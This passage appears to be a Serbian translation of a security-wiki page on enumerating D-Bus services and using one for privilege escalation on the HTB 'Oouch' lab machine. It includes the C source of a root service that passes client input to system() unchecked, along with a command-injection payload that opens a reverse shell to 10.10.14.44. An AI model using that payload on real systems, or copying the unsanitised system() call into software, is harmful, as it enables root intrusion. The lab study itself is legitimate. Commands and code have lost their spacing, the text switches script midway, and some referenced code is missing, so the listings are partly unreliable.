D-Bus se koristi kao posrednik za međuprocesnu komunikaciju (IPC) u Ubuntu desktop okruženjima. Na Ubuntu-u se posmatra istovremeno delovanje nekoliko autobusnih poruka: sistemski autobus, koji prvenstveno koriste privilegovane usluge za izlaganje usluga relevantnih za ceo sistem, i sesijski autobus za svakog prijavljenog korisnika, koji izlaže usluge relevantne samo za tog specifičnog korisnika. Fokus ovde je prvenstveno na sistemskom autobusu zbog njegove povezanosti sa uslugama koje rade sa višim privilegijama (npr. root), jer je naš cilj da povećamo privilegije. Primećeno je da arhitektura D-Bus-a koristi 'usmerivač' po sesijskom autobusu, koji je odgovoran za preusmeravanje poruka klijenata na odgovarajuće usluge na osnovu adrese koju klijenti specificiraju za uslugu sa kojom žele da komuniciraju.
Usluge na D-Bus-u definišu objekti i interfejsi koje izlažu. Objekti se mogu uporediti sa instancama klasa u standardnim OOP jezicima, pri čemu je svaka instanca jedinstveno identifikovana putanjom objekta. Ova putanja, slična putanji u datotečnom sistemu, jedinstveno identifikuje svaki objekat koji usluga izlaže. Ključni interfejs za istraživačke svrhe je org.freedesktop.DBus.Introspectable interfejs, koji sadrži jedinstvenu metodu, Introspect. Ova metoda vraća XML reprezentaciju podržanih metoda, signala i svojstava objekta, pri čemu se ovde fokusiramo na metode dok se svojstva i signali izostavljaju.
Za komunikaciju sa D-Bus interfejsom korišćena su dva alata: CLI alat nazvan gdbus za jednostavno pozivanje metoda koje D-Bus izlaže u skriptama, i D-Feet, GUI alat zasnovan na Python-u, dizajniran za enumeraciju usluga dostupnih na svakom autobusu i za prikaz objekata sadržanih unutar svake usluge.
sudoapt-getinstalld-feet
Na prvoj slici prikazane su usluge registrovane sa D-Bus sistemskom magistralom, sa org.debin.apt posebno istaknutom nakon odabira dugmeta System Bus. D-Feet upitkuje ovu uslugu za objekte, prikazujući interfejse, metode, svojstva i signale za odabrane objekte, što se vidi na drugoj slici. Takođe su detaljno opisani potpisi svake metode.
Značajna karakteristika je prikaz ID procesa (pid) i komandne linije usluge, što je korisno za potvrđivanje da li usluga radi sa povišenim privilegijama, što je važno za relevantnost istraživanja.
D-Feet takođe omogućava pozivanje metoda: korisnici mogu uneti Python izraze kao parametre, koje D-Feet konvertuje u D-Bus tipove pre nego što ih prosledi usluzi.
Međutim, imajte na umu da neke metode zahtevaju autentifikaciju pre nego što nam dozvole da ih pozovemo. Ignorisaćemo ove metode, pošto je naš cilj da povećamo svoje privilegije bez kredencijala u prvom redu.
Takođe imajte na umu da neke od usluga upitkuju drugu D-Bus uslugu pod imenom org.freedeskto.PolicyKit1 da li korisniku treba dozvoliti da izvrši određene radnje ili ne.
From wikipedia: Kada proces uspostavi vezu sa autobusom, autobus dodeljuje toj vezi poseban naziv autobusa koji se zove jedinstveni naziv veze. Nazivi autobusa ovog tipa su nepromenljivi—garantovano je da se neće promeniti sve dok veza postoji—i, što je još važnije, ne mogu se ponovo koristiti tokom životnog veka autobusa. To znači da nijedna druga veza sa tim autobusom nikada neće imati dodeljen takav jedinstveni naziv veze, čak i ako isti proces zatvori vezu sa autobusom i kreira novu. Jedinstveni nazivi veza su lako prepoznatljivi jer počinju sa—inače zabranjenim—dvotačkom.
Service Object Info
Zatim, možete dobiti neke informacije o interfejsu sa:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
List Interfaces of a Service Object
Morate imati dovoljno dozvola.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspect Interface of a Service Object
Napomena kako je u ovom primeru izabran najnoviji interfejs otkriven korišćenjem tree parametra (vidi prethodni odeljak):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Napomena o metodi .Block interfejsa htb.oouch.Block (onome koji nas zanima). "s" u drugim kolonama može značiti da očekuje string.
Monitor/Interfejs za hvatanje
Sa dovoljno privilegija (samo send_destination i receive_sender privilegije nisu dovoljne) možete monitorisati D-Bus komunikaciju.
Ako znate kako da konfigurišete D-Bus konfiguracioni fajl da omogući korisnicima koji nisu root da prisluškuju komunikaciju, molim vas kontaktirajte me!
Različiti načini za monitorisanje:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
U sledećem primeru, interfejs htb.oouch.Block se prati i poruka "lalalalal" se šalje kroz nesporazum:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Možete koristiti capture umesto monitor da sačuvate rezultate u pcap datoteci.
Filtriranje svih šumova
Ako ima previše informacija na autobusu, prosledite pravilo za podudaranje ovako:
Kao korisnik qtc unutar hosta "oouch" iz HTB možete pronaći neočekivanu D-Bus konfiguracionu datoteku smeštenu u /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Napomena iz prethodne konfiguracije da ćete morati biti korisnik root ili www-data da biste slali i primali informacije putem ove D-BUS komunikacije.
Kao korisnik qtc unutar docker kontejnera aeb4525789d8 možete pronaći neki dbus povezani kod u datoteci /code/oouch/routes.py. Ovo je zanimljiv kod:
Kao što možete videti, povezuje se na D-Bus interfejs i šalje "Block" funkciji "client_ip".
Na drugoj strani D-Bus veze se izvršava neki C kompajlirani binarni program. Ovaj kod sluša na D-Bus vezi za IP adresu i poziva iptables putem system funkcije da blokira zadatu IP adresu.
Poziv system je namerno ranjiv na injekciju komandi, tako da će payload poput sledećeg stvoriti reverznu ljusku: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Iskoristite to
Na kraju ove stranice možete pronaći kompletan C kod D-Bus aplikacije. Unutar njega možete pronaći između redova 91-97 kako su D-Bus objekat putanjai ime interfejsaregistrovani. Ove informacije će biti neophodne za slanje informacija na D-Bus vezu:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Takođe, u liniji 57 možete pronaći da je jedini registrovani metod za ovu D-Bus komunikaciju nazvan Block(Zato će u sledećem odeljku biti poslati payload-ovi na servisni objekat htb.oouch.Block, interfejs /htb/oouch/Block i naziv metoda Block):
dbus-send је алат који се користи за слање порука на “Message Bus”
Message Bus – Софтвер који системи користе за лаку комуникацију између апликација. Повезан је са Message Queue (поруке су поређане у низу), али у Message Bus поруке се шаљу у моделу претплате и такође веома брзо.
“-system” ознака се користи да означи да је у питању системска порука, а не порука сесије (по подразумевано).
“–print-reply” ознака се користи за правилно штампање наше поруке и примање било каквих одговора у формату који је лак за читање.
“–string:” – Тип поруке коју желимо да пошаљемо интерфејсу. Постоји неколико формата за слање порука као што су double, bytes, booleans, int, objpath. Од овога, “object path” је користан када желимо да пошаљемо пут до датотеке Dbus интерфејсу. У овом случају можемо користити специјалну датотеку (FIFO) да пренесемо команду интерфејсу у име датотеке. “string:;” – Ово је да поново позовемо object path где стављамо FIFO reverse shell датотеку/команду.
Nапомена да у htb.oouch.Block.Block, први део (htb.oouch.Block) се односи на сервисни објекат, а последњи део (.Block) се односи на име методе.
C code
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}